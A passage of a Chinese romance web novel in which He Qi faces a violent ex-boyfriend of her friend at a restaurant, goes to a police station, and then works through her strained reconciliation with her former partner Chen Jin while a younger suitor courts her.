招风耳估计是喝了酒,此刻又觉得丢人,脸色唰一下涨红,恼羞成怒地夺过桌上的烧烤盘砸在地上。 不锈钢材质的东西落在瓷砖上,发出震耳欲聋的响声,看热闹的人群齐齐往后退了一步,里头传来一两道小声的尖叫。 张心怡在两人身后瑟缩了一下,李家佳注意到,紧紧握住了她的手。 招风耳以为她们被自己震慑住,得意地警告:“我和我女朋友说事儿,你们……” 他话又没说完,只见何漆一脸冷静地把玻璃酒瓶的下半部分用力磕在一旁的桌子上,“哗啦啦”一阵脆响,玻璃渣四溅,好在那周围没人,不会误伤。 招风耳吓得一个激灵,看见她手里死死捏着剩下半个酒瓶,切口锋利,脸色瞬间变了。 何漆则抬手迅猛地抓住他的衣领,语气冰冷而隐隐烧着怒火:“我问你,你是不是打她了?!” 招风耳愣了两秒,但到底是个比她们高大的男人,一下推开了何漆,挽尊般整理自己的领口:“她用我的吃我的,我花了多少钱在她身上,现在找到更有钱了的就想跑,我还打不得?!” “我没有!!”张心怡突然爆发出强烈的喊叫,泪水往下落。 李家佳拽住张心怡没让她扑过去,何漆冷冷道:“你打人在先,又在大庭广众之下散布谣言,我们等警察来。” “打人?谣言?”男人愤怒地重复,伸手要去拽张心怡,“你让她自己说!我说的是不是实话!!” 他越逼越近,动作也变得无所顾忌,何漆阻拦他就推何漆,李家佳阻拦他又推李家佳。 张心怡像是恐慌极了,满脸煞白,动作僵硬地往后退。 “过来!你给我过来!!”男人怒目圆睁,一双眼珠子骇人得像是要掉出来。 张心怡泣不成声,眼见男人又要抬手。 何漆慌不择路,但也不敢真用手上的啤酒瓶伤人,拿起另一个烧烤盘,卯足劲想要打过去。 千钧一发之际,人群外有一道耳熟的男声急迫地喊道:“警察来了!都别动!” 围观众人霎时散至两边,何漆握着烧烤盘高举的手脱力,不锈钢盘子“哐当”一声掉地,砸在她的脚边。 方翊大喘着气,羽绒服的衣领都跑歪了,毫不犹豫挡到何漆身前,严严实实地把她和招风耳男人隔离开。 “警察来了。”他缓着气又说了一遍。 何漆的视线完全被一件黑色的羽绒服遮挡,寒气扑面而来,她的手却被一只滚烫的手掌包握着。 方翊抓着她的手,很用力,几乎把她捏痛。 警车的鸣笛在店外响起,人群散开很多,老板和店员聚集过来,招风耳男人骂骂咧咧着,身后李家佳正安慰着哭泣的张心怡。 何漆脑子里紧绷着的一根弦忽然“啪”的断开了,手被捏痛也没有挣扎。 她抬眼看了看身前人的背影,又往店外望了片刻,耳边混沌一片,什么也听不清,世界在她身体里头重脚轻地颠倒。 脑海一片空白中,她无端想起一个人。 “姐姐,姐姐你没事吧?” 周围人群彻底退散,警察正在逐一了解情况,方翊不知何时已经转过来面对她,双手按在她的肩膀上,担忧地轻轻晃着。 “嗯?”何漆回过神来,下意识应了一声,额前的部位隐隐作痛,她摇了摇脑袋,“没事。” 一名警察走过来,问两人姓名,随即闻到何漆身上有好大的酒味,皱眉问:“你喝酒了?” “是的。”何漆答。 “从监控上看,你和肇事男子有过肢体冲突,请你配合我们去警局一趟。” 何漆同意,警察则将一行四人带去了派出所,方翊自己开车随行。 刚到派出所门口,里头就有个中年女子带着自己的孩子出来,不知道是遇上了什么事儿。 两帮人迎面撞上,何漆扫过那女人一眼,意外觉得有两分眼熟,但想不起在哪里见过。 牵着孩子的女人似乎也有这种感觉,目光在何漆脸上停留了好久,张了张嘴,可惜没打上招 呼,何漆就进警局了。 监控上显示,招风耳当时抬手后并没有打人,是通过推搡的行为让张心怡跌坐在了地上,因为没有造成伤情,所以事情可大可小,主要看受害人是否愿意和解。 李家佳和何漆作为证人也被带进去做笔录,方翊则一个人在大厅里等。 大约半个小时,两人先后出来,张心怡和招风耳还没结束。 方翊从座位上站起,担忧地看着她们,李家佳就近找了个地方坐,何漆则走到方翊面前。 她把脸侧的头发捋到耳后,像是有些尴尬地左右顾盼了一下,问:“你怎么会在那里?没跟朋友去看音乐剧吗?” 方翊低头看她的表情,能闻到她身上的酒气,竟莫名含了点笑:“我看到家佳姐的朋友圈,正好知道这家店,就一个人过来了。” 没想到是这个情况,何漆抬头,脸色变了变,盯上他的眼睛,严厉批评:“我跟你说过了吧?不要招呼不打一声地就来找我。” 方翊却问:“如果我说了,你还会让我来吗?” 当然不会。何漆没回答,方翊也知道她的答案。 “不管我说不说你都不会同意,所以不管你同不同意我都会来。”方翊条理清晰地告诉她。 何漆听得皱起眉,即便他在不久前刚帮过自己,她也无法接受这个理由:“你脸皮很厚。” 方翊耸耸肩:“我也没办法姐姐,现在有比我自尊心更重要的东西。” 何漆眼下实在没力气跟他掰扯,无奈叹了口气,打算去找李家佳一起坐着。 谁料下一秒,派出所门口又传来一阵急促的脚步声。 “何漆?” 听到声线的刹那,何漆仿佛浑身一震,几乎是下意识朝那方向看过去。 屋内的灯光亮如白昼,屋外漆黑一片,陈津臂弯上挂着外套,穿过亮与暗的分割线。 何漆怔然地与他对视,时间有片刻的静止,直到方翊也转过身。 陈津看清站在何漆身边的男人的脸,迟疑地停下脚步,站在三米开外的地方,沉默地看着两人。 何漆本能地想过去,刚抬起脚,却硬生生止住了自己的动作,站在原地没有动。 方翊不经意间往侧边挪了一步,挡住何漆的大半个身子。 这晚派出所往来的人不多,大厅里只偶尔有轻微的交谈声。 李家佳游离在整个场面之外,却也不由站起身,紧张地放轻了呼吸,观察何漆的动向。 一触即发的僵持之中,谁也没有轻举妄动,两息之后,很快有警察注意到陈津,上前询问他的来意。 “我是她的家属。”陈津冷淡地朝何漆的方向抬了抬下巴,接着转头询问警察,“请问发生了什么事?” 在他和警察开始交谈之前,何漆绕过方翊,大步走过去,还没到陈津跟前便张嘴打断:“你怎么会来?” 警察见两人之间似乎有话要说,就先回去做事。 陈津一错不错地注视着她,看她在自己两步远外的地方站住,没有要再靠近的意思,回答:“我同事说在派出所看见你了。” 何漆疑惑了一会儿,想起在门口遇到的那个中年女人,原来是他的同事,可能在某几年的年会上见过。 “你们出什么事了?”陈津主动问。 何漆不耐:“不关你的事。” 两人靠得近了。 陈津闻到何漆身上还没散发的酒味,注意到她袖口上斑驳的污渍,蹙眉说:“你喝酒了?” 何漆仰起头,视线却先撞上陈津下嘴唇上的一块深色的痂疤,微微一愣:“我说了,不关你的事。” “那关谁的事?” 陈津接的很快,一边说,目光一边从她脸上移开,看向不远处同样投来视线的方翊。 然后又看回何漆,暗示意味很足。 何漆看懂了他的意思,但并不打算解释,只冷硬道:“你回去吧。” 陈津垂落身侧的手掌倏地握成拳,语气隐忍地喊她的名字:“何漆。” 何漆莫名从这一声里听出点哀求的意思,但也只是淡淡地回视他,不为所动。 两人说话的时间有些久了,方翊等不住,正要走过来,李家佳在旁一眼注意到,立刻跟过去。 四人凑在一块儿,也只有李家佳能心平气和地开口:“那什么,今天是我们一朋友跟别人起争执了,那男的还想打人,我俩见义勇为来着。” “是张心怡前男友。”何漆突兀地补充,盯着面前的陈津,一字一顿,意有所指,“张心怡提了分手,她前男友纠缠不放。” 闻言,李家佳慌张地看何漆一眼,还以为她疯了,忙打圆场:“但那男的本身就是人渣,恼羞成怒,又动手又造谣,反正特混蛋。” 方翊在何漆身后幽幽补充:“我听那人渣说,有个条件不错的男人正在追求他前女友,大概是因为这个才恼羞成怒不肯放手的吧。” 李家佳脑子要炸,狠狠瞪了方翊一眼,警告道:“别在人背后瞎说。” 陈津没有理会,起码没有抬眼分给别人眼神,视线中只有何漆一人。 何漆闭了闭眼,无可奈何,对陈津叹气道:“我们出去说。” 她走得很干脆,陈津却在原地驻足,直到何漆从他身边擦肩而过,他才抬头向对面扫过一眼,目光在方翊脸上滑过,像是一种不带情绪的无视。 接着缓慢转身,跟在何漆身后离开。 室外远不及警察局内那么暖和,冷风一吹,何漆说话都冒白雾,她走下最后一级台阶就站住了脚,让陈津走到更远的地方和她面对面。 何漆喝过酒,冷空气扑在脸上,脑袋又晕又疼,心中的烦躁情绪一直扑腾,按也按不住。 她开口,语气不善:“你打算这样到什么时候。” “哪样?”陈津反问。 何漆眯起眼不耐地看向他,发觉陈津说话变得令人讨厌的不干脆,总对她明知故问。 她便也不回答,手指捏在一块摩挲:“你很希望我们也闹到警局吗?” 陈津垂眼看她半晌,无力地叹口气,竟直接忽略了这个话题,转而说起别的事:“你妈妈邮寄了一箱东西到家里。” “我妈……”何漆下意识要反问,突然又想起前两天徐燕打给她的那通来电,恐怕就是为的这事,她问,“寄了什么东西?” 陈津摇头:“不知道,挺重的,我没打开看。” 他接着道:“你现在住哪,我可以给你带过去。” “你当我傻吗?”何漆用一种无语至极的神情看他,用这种话术打探她的住址未免也太穷途末路,“不打算给我的话你直接扔掉就行。” 何漆实在想不出徐燕会有什么东西需要寄给她,也压根不愿再去想。 寄到陈津那儿正好,两样都是她不想再看见的东西。 何漆双手捂进口袋里,在原地踮了踮脚,后脚跟靠在台阶上,自己把自己说服了。 她想让陈津赶紧离开,一掀眼皮,目光却不受控地落在了男人的嘴唇上,像是刻意瞄准了一般。 她没看错,下嘴唇上确实有一块伤口结的痂。 那个位置…… 可距离陈津发烧的那天已经过去了不知道多久,怎么会还没好呢…… 何漆的思绪猝不及防地飘远,无意识也咬了咬自己的下嘴唇,一副认真琢磨的样子。 陈津定定凝视着忽然没声儿了的何漆,她背对着光亮,神情隐匿在晦暗中。 但他却清楚地知道何漆在看什么,冷风吹过,那块被他反复撕扯,不愿愈合的伤口好像在发烫。 那天是十一月几号?怎么说也不该还这么明显吧?他是疤痕体质? 在何漆无数个疑问的念头之中,陈津忽然大步朝她走来。 那块令人狐疑的痂愈发清晰地映在何漆瞳孔里,她好像被鬼迷心窍了,竟想要抬手去触碰。 然而陈津先用手掌捧住了她的半边脸。 在他俯下身之前,身后传来另一道 男人的声线。 “姐姐。” 瞳孔骤缩,何漆猛地回头,脸颊擦着陈津的掌心,室内照出来的光线太刺目,她不由眯了眯敏感的双眼。 方翊正站在台阶的最上层,神色冰冷地往下望,将何漆被照得一览无余的茫然神情尽收眼底—— 作者有话说:感谢小天使们的霸王票和营养液[比心] 第27章 方翊一步一步跨下台阶,拉近和何漆的距离,越靠近表情变得越轻快,最后像是刚刚什么都没看见般,对着何漆挂上淡淡的笑:“姐姐,你的那个朋友出来了,警察说我们可以走了。” 何漆抬手整理了一下自己的头发,迟缓地点了点头,忽然想起什么,刚要张嘴。 方翊补充:“我载你们回那个烧烤店,家佳姐的车还在那里。” 很体贴的做法。 何漆点头称好,陈津却忽然从身后拉住了她的手腕,前胸贴着她的后背,声音很轻地从头顶传来:“我送你。” 何漆像是被烫到一般抽出了自己的手,刻意没有回头看他。 方翊又很轻浅地弯了弯眼睛,拿出车钥匙解锁车门,停在不远处的轿车车灯闪了闪,十分晃眼,好似无声的耀武扬威。 李家佳正带着张心怡从派出所里出来,招风耳还在询问室里做笔录,不知是喝了酒还是别的缘故,他说话做事很不老实,偶尔还对警察口出狂言,恐怕一时半会儿解决不完,索性让她们先回去。 外面风大,李家佳将一侧的围巾甩到身后,观察着台阶上的形式,一时没开口。 “走吧。”何漆看了眼依偎在一块的两个女人,对张心怡露出一个安抚的微笑,“方翊载我们先回烧烤店,然后我和李家佳送你回家。” 张心怡整张脸哭得泛红,时不时发出抽泣声,李家佳轻拍她的背,拉着她跟方翊走。 何漆正要抬脚,又被人从身后扯住手腕,这一下有些用力,她上半身都往后仰了半截。 肩膀被拉痛,她倒吸一口凉气,顿时怒从中来,转身时衣服的面料摩擦在一块,她狠狠推了陈津一把,将他推开半步。 因为不想在这么多人面前闹得太难看,何漆不得不压着声音警告他:“你干什么?” 然而还没走远的方翊注意到,想要过来,却被李家佳拽住,对他摇了摇头。 陈津的脸色黑沉下来,比先前严肃得多:“你要跟他走?” 何漆难以理解地看着他:“你到底在想什么?我是回去烧烤店,真要说我也是跟李家佳走。” 陈津却一字一顿地重复:“你选他?” 很陌生,这种语境,这种对话,这样的陈津,一切陌生到令何漆觉得过去的七年会不会并不真实。 她无意向一个钻牛角尖的人解释,今晚她坐谁的车跟她选谁没有任何直接关联,否则她现在打车,难道就是选择了一个完全不认识的网约车司机? 何漆认为自己与他真的已经到了无话可说的地步,长舒出一口气,狠心道:“你的钱我会全部还给你。” 银行卡真被冻结她也认了,算是欠他的代价。 “你就当作我选他好了,反正我不会再选你。” 街边还亮着的商铺与路灯在车窗里连成一片,何漆沉默地坐在副驾驶,被后排的李家佳叫回神。 “何漆?到了,我们下车吧。” 像是从睡梦中惊醒,何漆恍惚地去拉车门把手,却被方翊喊住:“姐姐,我有话想跟你说。” 何漆愣了片刻:“这么晚了,有什么事微信说吧。” 方翊坚定道:“这件事我想当面说。” 后排的李家佳已经开了车门,但迟迟没有离开,看向何漆,等她的回复。 何漆抿了抿唇,指尖按着额角:“你们去车上等我一会儿,好吗?” 李家佳和张心怡答应,车门轻启轻合,静谧的车内只剩下两人。 何漆想开点车窗透气,给这个密闭的空间制造一道缺口,然而方翊的话让她不得不停下了动作。 “姐姐,我们交往吧。” 何漆不想开窗了,她打算直接下车。 方翊抓住她的臂弯,急迫地解释:“我知道你现在还没有喜欢上我,但你的前男友一直在纠缠你不是吗?你也没有其他喜欢的人吧?只要你愿意假称我们在交往,我就可以帮你解决那些麻烦。” “你要我拿你当挡箭牌?”何漆转过脸反问他。 方翊诚实地点头:“我是很合适的人选。” 何漆不再看他,手指按在开窗键上,把车窗降到最大,想让冷风灌进来,把这人的脑子吹清醒:“我和他还在纠缠不清,这时候跟你交往,你知道你算什么吗?介入感情的第三者。” “我不在乎。”方翊说,“别人怎么看怎么说对我而言不重要,我喜欢你,给我一个机会,我会做得好……” “自找麻烦。”何漆皱眉轻斥。 “这对我来说不是麻烦……” 何漆又打断他:“对我来说是麻烦,你愿意当第三者,但我不想承担朝三暮四的名声,如果我喜欢你,我也可以不在乎,但是……” “我知道了。”方翊没让她说下去,低落地松开了抓着她的手。 夜风吹打着何漆的半张脸,将她的头发拂得很乱,她抬手捋了捋,极快冷静下来:“抱歉我把话讲得很难听,今晚的事情本应该谢谢你……” 她还没组织好剩下的语言,放在腿上的手机突然亮起,面容自动解锁后看到是陈津发来的消息。 她疑惑地点进去。 「我可能也没那么后悔了。」 耳边嗡鸣,何漆觉得脑子里塞着一大团浸满酒精的棉花,行为开始不受理性操控。 “我先走了。” 她的脸色冷到方翊没有出口挽留,果断下车,大步走到李家佳的车旁,敲了敲她的车窗。 车窗降下,对方还没开口,何漆迅速道:“你们先回去,有事打电话。” 李家佳原本还要追问,但看何漆的脸色不佳,只能比了个“电话联系”的手势,何漆则点点头,递给她一个安心的眼神。 车子从眼前开走,何漆抬起从刚才就一直紧握的手机,盯着那句话两秒,退出去拨打了陈津的电话。 等待接通的间隙,她在街上边走边焦躁地四处环顾,心中有波涛巨浪,却强行按压在麻木的表情之下。 直到铃声中断,听筒里能够听到对面的空气,何漆终于看见了几米外停靠着的卡宴。 持续计时的通话里,谁也没有开口。 何漆干脆将手臂垂落身侧,没有挂断也不打算接听,大步朝卡宴走去。 她想要狂奔,全身的肌肉都好像在颤抖,要很用力很用力才能制止。 还剩两步路的距离时,陈津忽然从驾驶位上下来,打开的车门没有关,径直绕到外侧,自顾自上了副驾驶。 何漆只好坐进主驾驶位。 温暖的车内,陈津丝毫没有说错话的自觉,沉默着,也没有明知故问。 何漆过来时还盛着足以把自己吞噬的怒火,然而一坐到陈津身边,毫无理由的,那愤怒就泄了气。 她深深地做了几次呼吸,却一秒比一秒觉得悲哀,闭着眼道:“算我求你,停止吧。” “我说我不后悔。”陈津语气冷得没什么起伏,嘴边的肌肉却用力紧绷着,下唇上的痂已经不见踪影,只剩下血肉模糊的一小块伤口,“做了那种伤害你的事也不后悔,你听到,感觉高兴吗?” 何漆听不懂他在说什么,被在一起那么多年的伴侣伤害,对方到头来还说自己不后悔,有什么值得高兴的。 因为可以毫无负担地埋怨他?可以把他描述为一个十恶不赦的罪人以此彰显自己的无辜?还是可以迅速投入下一个怀抱还不用遭受谴责? 何漆不知道,但也不打算深究,就像她 说的,她现在只想要一切停止。 “你非要这样吗?”何漆忍着哽咽问他,“非要让我们都觉得在一起七年的人其实已经面目全非、变成烂人才肯罢休?” “不然还有什么理由。”陈津说。 “什么?” “如果不是糟糕到没法再将就,为什么要分开?”陈津看向她,目光灼灼,“我在你心里不就是烂到不值得再有一次机会吗?” 他的语速很慢,像是要把每一个音节都发清楚,嗓音在夜色里格外清晰。 何漆将腰背全部靠在座椅上,累到撑不住似的。 她真心觉得人与人之间的沟通大部分是没有任何作用的,无论怀抱着怎样的心情与期望去交流,双方的目的也不过是说服对方认同自己而已。 带着这种想法假装体谅地对话,最终收获一场又一场互相攻击的辩论。 她好半天才闭着眼发出声音:“嗯。我一直都是这么苛刻的人,你知道的,我这里没有多余的机会。” 许久许久没人说话,车里温暖静谧,座椅柔软舒适,何漆没有主动离开,就好像还在等陈津说些什么,然而怎么等也等不到。 意识逐渐昏沉下去,她无力对抗。 不知过了多久,何漆猛地惊醒过来。 原以为自己只是眯了一小会儿,然而睁开眼看到天花板时,她整颗心都往下沉了沉。 她睡在卧室的床上。 但不是新租的房子,也不是李家佳的次卧。 何漆一把掀开被子,身上是整套的睡衣,她起身的动作太猛,脑袋剧烈犯疼。 从卧室跌跌撞撞出去,猝不及防看到坐在客厅里办公的陈津。 她在卧室门的地方刹住脚步,努力回想,记忆也只到在车里睡着的部分。 陈津闻声望过来,何漆慌忙先发制人:“你在车里撒迷药了?” 陈津把电脑放在茶几上:“你自己喝醉了,睡得很沉。” 何漆挠了挠后脑勺,有些尴尬地左右看看,在客厅的墙壁边上发现了一只箱子,有一条手臂那么长。 “那个是我妈寄过来的?”她转移话题地问。 陈津站起身:“对,你拆开看吧。” 何漆又问:“我的手机呢?” 陈津翻出工具箱里的刻刀,又拔掉正在沙发边上充电的手机,拿着两样东西走到何漆身边递给她。 何漆蹲下来,用刻刀划开箱子上的胶带,刚一打开,就有股泥土的气味扑面而来。 是一箱子冬笋。 在冬笋的最上面,还摆着一盒已经稍显蔫巴的小番茄。 陈津站在她身后,看清了里面的东西,问:“怎么有盒小番茄?这样也可以保鲜?” 何漆盘腿坐在地上,静静地看着,没有说话。 半晌,她忽然拿过放在膝盖边的手机,点开电话想要拨打“661”的短号,停顿片刻,还是回到微信给徐燕发消息。 「你给我寄的什么?我说了我跟陈津已经没有关系了吧?寄到他家是什么意思?」 发送出去后的没一会儿,对方的名称就变成了“正在输入中”,何漆知道徐燕打字速度慢,所以慢慢等着。 「是你三叔叔前几天在山里挖的冬笋,给我们了很多,我和你爸爸吃不完。」 「妈妈不知道你现在住在哪里,所以才寄到那边。」 「小番茄呢?寄过来放着都要坏掉了。」 「那天想着要给你寄冬笋,去菜场买菜的时候不知怎么就买了,我和你爸爸不吃,就放进去了。」 徐燕没有问她怎么突然把自己从黑名单里放了出来,只是用小心的口吻回答着何漆的每一个问题。 明明什么尖锐的情绪都没有,何漆却不争气地酸了鼻子。 她把手机放下,站起身弯下腰,搬着箱子掂量,很重,带到新租的房子里恐怕要花点力气。 陈津却从侧边伸手,拿走了里面的那盒小番茄:“我先放冰箱里吧,再放下去就坏了。” “我带走。”何漆平淡地说,“胶带重新缠一下,我要走了,这么晚了你不去上班吗。” “请假了。”陈津握着那盒小番茄不松手,甚至有把它藏到身后的迹象,“早上有个同事特意来关心我,因为我最近向他借了钱,他以为我要跑路。” 何漆闻言叹了口气,把箱子放回地上,直起身,拿着手机捣鼓。 不用想也知道她在干什么,要把他的钱转回来。 陈津整个人好似又成了一张拉满的弓,抬手攥住她的手腕。 然而下一秒,不远处的手机响起一道铃声,何漆在这清脆的动静中抬起头,直视陈津的眼睛,无波无澜:“给你转了两万块钱,你把同事的钱还了吧。” 陈津的眼神中出现明显的错愕,她手腕上的手掌骤然收紧,又很快松开。 陈津哑然,像是要把眼前的人盯出一个洞来,确认何漆是认真的,最后开口:“太多了。” “你先用吧。”何漆说着,伸手去拿陈津半藏在身后的小番茄。 塑料盒被两双手一起握住,发出轻微的变形声响,何漆在这时又道: “陈津,我们给彼此一点时间。” 话音落地,陈津原本要松开的手再次捏紧—— 作者有话说:从床上醒来的何漆:666还有第二关 以为何漆松口但听到还需要时间冷静的陈津:别笑,你也过不了第二关 感谢小天使的霸王票[眼镜] 第28章 塑料盒被按得凹下去一块,发出如同骨头断裂般的声响。 何漆注意到陈津态度的转变,诧异地抬眼看他,她并不认为自己的话哪里有错,反而是一种退步的温和政策。 她问:“怎么了?我只是觉得我们再这样下去,不管过多久都给不出对方想要的答案,反而是两败俱伤、影响生活,还不如各自冷静下来,好好想想再做决定。” 陈津彻底将那盒小番茄藏在了身后,用两只手掌扣押,神情好似不满又委屈。 何漆拿不到小番茄,不得不将身子直回来,不解道:“那你要怎样?” “你觉得我不了解你吗?”陈津突然发问,“还是你不了解你自己?” “又或者压根就是你用来缓兵我的手段?” “你在说什么?”何漆皱眉道。 陈津微微俯身,逼视着何漆,用略带嘲讽的语气反问:“冷静一段时间?然后呢?” 何漆张了张嘴,然而还没想好说什么,又被陈津自问自答地打断:“然后发现你一个人其实也过得很好,按时吃饭,认真工作,时不时跟朋友去聚餐,那时候你还会管我吗?” 何漆怔在原地,却听陈津继续质问:“你说的冷静就是不允许我见你,对吧?等我淡出你的生活之后,你就来告诉我,你理智的决定还是分手,是这样吗?” 何漆失语片刻,没法不承认陈津的话确实有道理,转而道:“这难道不是你的问题吗?一起生活了那么多年的人,如果有你没你都没差的话,这段感情本就该考虑有没有继续的必要了吧?” “那你告诉我该怎么办。”陈津像是被她的话抽干了力气,几乎用气声说,“我把全部都给你了,我能给的都会给你,就算这样你也觉得我可有可无,我还能怎么做?” “你是在把错扯到我身上吗?”何漆问他,“造成现在这种局面是因为我贪得无厌吗?” 陈津喘了口气,忽然矮下身,把头搁置在何漆的肩膀上,声带被压迫,嗓音更低:“你不要曲解我的意思,如果你真的对我有所企图就好了。” 何漆感到肩膀好重,不得不刻意耸起来一点。 陈津沉重的呼吸隔着睡衣打在她的锁骨一片,她撇开头,身体却没有动,闷闷道:“那你也不要随便揣测我的行为想法,说不定你就是没那么了解我。” 东拉西扯了这么久,最初的问题还是没有得到解决, 何漆问:“各自冷静都不行,那你想要怎么样?” “你住回来。” “你会不会太得寸进尺了?” 陈津闷哼了一声,直接抬手,用一条手臂环住了何漆的腰,将她往自己的方向箍紧。 两人的身子贴在一块,何漆皮肤上有另一种热乎乎的体温,她感到神经里仿佛隐隐过电,只好推他的肩膀:“不行,我才刚租新房子,我很喜欢那里。” 陈津不说话,却抱何漆抱得更紧,脑袋还在她肩窝处轻缓地蹭。 他身形高大,耍赖般故意把重量压在人身上,何漆重得快要窒息,推也推不动,肩颈还有一阵阵短发扫过的痒意。 “杉江街。”何漆忽然说,“我新租的房子在杉江街的云苑。” 她感到陈津环抱着她的动作有微微的僵硬,问:“你知道我在哪里,这样总行了吧?” “嗯。”陈津应了一声,不再那么强硬,何漆推他,他便顺着她的动作退开,“那你要回去了吗,我现在去上班,顺路送你过去。” 杉江街和陈津的公司在两个方向,绝对没顺路这一说,但何漆扭头看了眼那沉重的箱子,十分堕落地装起路痴,点头道:“行。” 纸箱用胶带缠好,抬进车子的后备箱,何漆坐在副驾驶,吃着刚洗好的小番茄。 因为是冬季,水果的储存时间长一些,这些小番茄外表都完好,算算时间应该不至于腐坏,她挑拣着看起来不那么蔫巴的送入口中,吃起来还挺甜。 从他们家到云苑距离不短,早高峰还堵车,何漆险些又在车上睡过去。 到了地方,陈津先去后备箱搬重物,何漆把放在腿上还剩半盒的小番茄重新盖好,一下车,被迎面而来的冷风吹了个七荤八素。 她嘴都有点张不开,一说话就被灌冷风,含含糊糊地指挥陈津到她的单元楼。 云苑是个老楼,一单元有六层,只有楼梯没电梯,好在何漆那一户在二楼,上下爬楼也不算太费劲。 门上装的是智能锁,何漆不想让陈津看到密码,故意把身体凑得离触摸面板很近,做贼似的点了六个数字。 锁开了,何漆又故作大方地把门拉开,让陈津搬着箱子先进,自己殿后,稍尽地主之谊。 玄关处的鞋架上摆了两双灰色拖鞋,不过看起来尺码都偏小,何漆给自己拿了一双,陈津便要伸手去拿剩下一双。 谁料何漆余光瞟到,一把夺了回来,义正言辞:“这是李家佳的拖鞋。” “那我穿哪双?”陈津侧目问她。 家里还真没有多的拖鞋,何漆想了想,说:“可以了,就放这吧,我自己搬进去就行,你不是还要去上班,快……” 陈津没等她说完,自顾自脱了鞋,环顾一圈找到厨房的位置,把箱子又搬起来。 这房子的地板是瓷砖材质,何漆省电费,设施条件也有限,自然不会像以前那样开恒温的暖气,她看陈津只穿单薄的袜子踩在地上,足以想象那种冰冷。 何漆良心上有点过不去,跟在陈津后面,摸了摸鼻子,小声道:“我这儿地板挺干净。” 陈津脚步一顿,像是险些打个趔趄,扭过头来不可置信地看她一眼:“你还怕我给你踩脏了?” 何漆被冤枉地瞪大眼:“我是说不会弄脏你的袜子!” 陈津闻言这才继续走,把箱子放到厨房冰箱旁的角落,四周环视了一圈,锅碗倒是齐全,他又随手打开冰箱,看到里面空空如也,反而冰了两副面膜。 脚边的垃圾桶里还扔着一个没来得及丢的外卖袋。 看样子在家并不怎么做饭,那么一大箱的冬笋不知要吃到什么时候。 何漆背靠着厨房门口的墙壁,双手垫在腰后面,指尖摩擦着墙面,对陈津这种肆无忌惮的视察行为有点不满,喝止道:“别乱翻。” 陈津便乖乖合上冰箱,拿出手机看了眼时间,何漆识相道:“你去上班吧,这儿过去还要挺久的。” 陈津点头,带上她厨房里没扔的垃圾,很快又踩着冰冷光滑的瓷砖离开了。 家里安静下来,何漆慢悠悠走回客厅,把手上一直捏着的小番茄盒放在茶几上,拿了两颗依次塞进嘴里,打开手机给李家佳拨去了一个电话。 对方接得有些慢,何漆才想起来这个点李家佳大概在上班,正想挂断时,电话接通了。 “喂?”何漆嘴里嚼着番茄,有些口齿不清地招呼一声。 对面好半天没出声,像是欲言又止了一轮,才缓缓问:“你昨天晚上干嘛去了?为什么听起来这么春心荡漾?” 何漆猛地敛起正无意识勾起的嘴角,清了清嗓子,怀疑地看通话界面一眼,以为李家佳是自己肚子里的蛔虫。 “什么春心荡漾。”何漆正色但逃避地反驳一句,很快岔开话题,“我妈给我寄了一大箱冬笋,我找时间给你半箱,对了张心怡呢,她怎么样了?” “就那样吧,昨晚送她到家,今早我微信上问了一下,好像没去上班。你跟阿姨呢,又算和好了?” “我也不清楚。”何漆说,“她要是不提那些事儿,我本来就不想跟她吵。” 李家佳叹口气,提醒她:“那你说话也注意一点,能不吵尽量别吵吧。” 何漆若有所思地点点头,又往嘴里塞小番茄:“行,你好好上班。” 电话挂断后,李家佳仍不死心地发消息打听。 「你跟我老实交代,昨晚做人做鬼还是做贼了?」 何漆被她逗笑,仰躺在沙发上,塑料盒里还剩最后两个番茄,她伸长手臂摸到一个,看也没看一眼地就往嘴里放。 牙齿咬下,酸坏的汁水顿时在嘴里炸开。 何漆猛地从沙发上翻落,抱着一旁的垃圾桶,将嘴里的东西吐干净,又冲进厕所漱了三次口。 站在镜子前,她看着下巴还在淌水的自己,狼狈得像是刚从一场梦里醒来,只有口中腐坏水果的味道仿佛无法洗去。 何漆忍着恶心灌下了一整瓶矿泉水,试图冲散那种酸味,丢了三魂七魄似的回到沙发前,看着盒子里仅剩的最后一颗小番茄,一时不知还该不该吃。 下午五点,何漆抱着电脑坐在沙发上,正打算看看晚上吃什么外卖,门铃声却猝然响起。 她有些奇怪,静悄悄地走到玄关处,透过猫眼往外瞧,看到一张略微被拉宽的脸。 何漆怒气冲冲地打开门,还没来得及说什么,陈津一手拎着好几个装了蔬菜生鲜的塑料袋,一手挂着自己的外套,硬是侧身挤了进来。 在玄关处站定,他用肩膀把门合上,随后将衣服和手提袋都先放在玄关柜上,从中挑出了一个又宽又长的半透明密闭袋子。 何漆盯着他把那袋子拆开,眼睁睁看着陈津从里面取出一双男士毛绒拖鞋,扔在面前的地毯上,怡然自得地穿上。 在他继续一气呵成地踩着新拖鞋、拎着买的菜进厨房之前,何漆伸手拦下了他:“你干什么?” “烧饭。”陈津说了一个显而易见的答案。 “我允许了吗?”何漆蹙眉问。 陈津低头认真道:“那你现在允许一下。” 何漆不想跟他说话了,感觉智商会变低,只伸长双臂拦住后面的路。 陈津不管不顾,直接往她身上凑过来,大不了抵着她一起走,反而是何漆为了避免和他有肢体接触,一直在不停地后退。 “我说了我不允许你在我家做饭……”何漆一边说话一边停住脚步,试图刹住陈津。 然而后者依旧步伐不停,直接和何漆贴在一起。 何漆闻到他身上有股很熟悉的淡淡香味,然而陈津并不喷香水,她不动声色地轻嗅了两下,反应过来是家里沐浴露的味道。 留香这么久?她疑惑地抬眼, 发觉陈津身上穿的竟是一件不太厚实的白色衬衫,宽肩和胸膛将面料撑出挺立的形状,下摆跟着腰线收紧。 早上出门时分明不是这件吧? 这么冷的天,外套脱了挂在手上,脖子上的黑色领带却一丝不苟地系着,没有解开。 何漆狐疑地盯住他,陈津则趁这功夫绕开,大步往里走,顺利进入了厨房。 何漆莫名没再阻拦。 厨房里偶尔传出些做饭的动静,房子的主人在沙发上坐着,耐着性子没过去张望。 大约四十分钟后,何漆觉得自己屁股都坐麻了,门外又忽然响起敲门声。 今天到底是个什么日子? 大门从里面打开,李家佳站在门外,手里拿着一个大号菜篮,一边低头脱鞋一边说:“我过来拿冬笋,你做晚饭了吗?没有的话我载你出去吃点?” 她说着穿上自己的专属拖鞋,一抬头,与听见动静从厨房里出来的陈津四目相对。 时间尴尬地静止了一秒、两秒、三秒。 李家佳在对视中默默闭上嘴,看了看天花板,仰望一圈四周,确认自己没走错地方,随后缓缓降下视线,用一种生无可恋的眼神睨着何漆。 何漆背贴在墙面上,也望天,假装不知道发生什么。 李家佳不得不转回视线,对陈津讪笑两声:“哈哈。那什么,你今天下班挺早的。” 陈津面色如常:“嗯,原本要请假。” 